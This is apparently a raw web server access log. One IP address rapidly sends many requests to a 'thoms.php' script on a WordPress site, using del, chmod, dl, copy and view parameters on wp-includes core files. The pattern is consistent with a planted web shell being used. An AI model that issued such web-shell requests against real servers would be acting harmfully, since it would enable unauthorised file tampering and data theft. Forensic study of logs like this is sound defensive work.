45.135.193.11 - - [11/Sep/2026:23:37:06 -0400] "GET /betcity.com.tw/wp-includes/class-wp-widget-factory.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:05 -0400] "GET /thoms.php?del=cache.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=cache.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:06 -0400] "GET /thoms.php?chmod=nav-menu.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=nav-menu.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:06 -0400] "GET /thoms.php?dl=class-wp-connector-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=class-wp-connector-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:06 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fbuild HTTP/1.1" 200 13666 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fbuild" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:06 -0400] "GET /betcity.com.tw/wp-includes/js/ HTTP/1.1" 200 4183 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2FIXR&p= HTTP/1.1" 200 12357 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2FIXR&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:06 -0400] "GET /thoms.php?dl=template-loader.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=template-loader.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:06 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php HTTP/1.1" 200 12356 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:06 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http-encoding.php HTTP/1.1" 200 14303 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http-encoding.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:07 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fabilities-api&p= HTTP/1.1" 200 12353 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fabilities-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:07 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=canonical.php HTTP/1.1" 200 22997 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=canonical.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:07 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:06 -0400] "GET /thoms.php?dl=class-wp-metadata-lazyloader.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-metadata-lazyloader.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:07 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php HTTP/1.1" 200 30347 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:07 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-feed-cache-transient.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:07 -0400] "GET /betcity.com.tw/wp-includes/PHPMailer/ HTTP/1.1" 200 1376 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:07 -0400] "GET /thoms.php?del=kses.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=kses.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:07 -0400] "GET /thoms.php?chmod=js&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=js&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:07 -0400] "GET /thoms.php?chmod=class-wp-block-metadata-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-metadata-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:07 -0400] "GET /betcity.com.tw/wp-includes/class-wp-post.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:07 -0400] "GET /betcity.com.tw/wp-includes/class-wp-widget.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:07 -0400] "GET /thoms.php?dl=version.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=version.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:08 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-dependencies.php HTTP/1.1" 200 17014 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:08 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=locale.php HTTP/1.1" 200 11986 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:08 -0400] "GET /thoms.php?chmod=option.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=option.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:08 -0400] "GET /thoms.php?chmod=class-wp-admin-bar.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-wp-admin-bar.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:08 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:08 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http-proxy.php HTTP/1.1" 200 14018 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http-proxy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:08 -0400] "GET /thoms.php?dl=block-template-utils.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=block-template-utils.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:08 -0400] "GET /thoms.php?dl=class-wp-comment.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:08 -0400] "GET /thoms.php?chmod=functions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=functions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:08 -0400] "GET /thoms.php?dl=embed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=embed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:09 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=style-engine.php HTTP/1.1" 200 14330 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=style-engine.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:09 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-http.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-http.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:09 -0400] "GET /betcity.com.tw/wp-includes/shortcodes.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:09 -0400] "GET /betcity.com.tw/wp-includes/canonical.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:09 -0400] "GET /thoms.php?chmod=class-wp-tax-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-tax-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:09 -0400] "GET /thoms.php?chmod=view-transitions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=view-transitions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:09 -0400] "GET /betcity.com.tw/wp-includes/class-wp-tax-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:09 -0400] "GET /thoms.php?del=widgets&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59444 "http://163.245.207.76:443/thoms.php?del=widgets&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:09 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-phpass.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-phpass.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:09 -0400] "GET /betcity.com.tw/wp-includes/utf8.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:09 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wpdb.php HTTP/1.1" 200 48405 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wpdb.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:09 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wpdb.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:09 -0400] "GET /betcity.com.tw/wp-includes/vars.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:09 -0400] "GET /betcity.com.tw/wp-includes/ai-client.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:10 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php HTTP/1.1" 200 17482 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:09 -0400] "GET /thoms.php?del=utf8.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=utf8.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:09 -0400] "GET /thoms.php?del=class-wp-post-type.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-post-type.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:09 -0400] "GET /thoms.php?del=class-wp-term-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-term-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:10 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-user.php HTTP/1.1" 200 18999 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:10 -0400] "GET /thoms.php?chmod=meta.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=meta.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:10 -0400] "GET /betcity.com.tw/wp-includes/class-requests.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:10 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcss&p= HTTP/1.1" 200 12363 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:10 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-comment.php HTTP/1.1" 200 17317 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:10 -0400] "GET /thoms.php?chmod=class-wp-customize-panel.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-panel.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:10 -0400] "GET /thoms.php?del=script-modules.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=script-modules.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:11 -0400] "GET /thoms.php?chmod=class-wp-locale-switcher.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale-switcher.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:11 -0400] "GET /thoms.php?chmod=comment.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:11 -0400] "GET /betcity.com.tw/wp-includes/template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:11 -0400] "GET /betcity.com.tw/wp-includes/class-wp-block-bindings-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:11 -0400] "GET /betcity.com.tw/wp-includes/class-wp-customize-widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:11 -0400] "GET /betcity.com.tw/wp-includes HTTP/1.1" 301 795 "http://163.245.207.76:443/betcity.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:11 -0400] "GET /thoms.php?dl=class-wp-image-editor.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:11 -0400] "GET /betcity.com.tw/wp-includes/ HTTP/1.1" 200 9383 "https://163.245.207.76:443/betcity.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:11 -0400] "GET /thoms.php?chmod=class-wp-http-curl.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-curl.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:11 -0400] "GET /thoms.php?del=abilities-api.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=abilities-api.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:12 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-post-type.php HTTP/1.1" 200 20056 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-post-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:11 -0400] "GET /thoms.php?del=class-wp-image-editor-imagick.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-imagick.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:11 -0400] "GET /thoms.php?dl=canonical.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=canonical.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:11 -0400] "GET /thoms.php?dl=class-wp-paused-extensions-storage.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-paused-extensions-storage.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
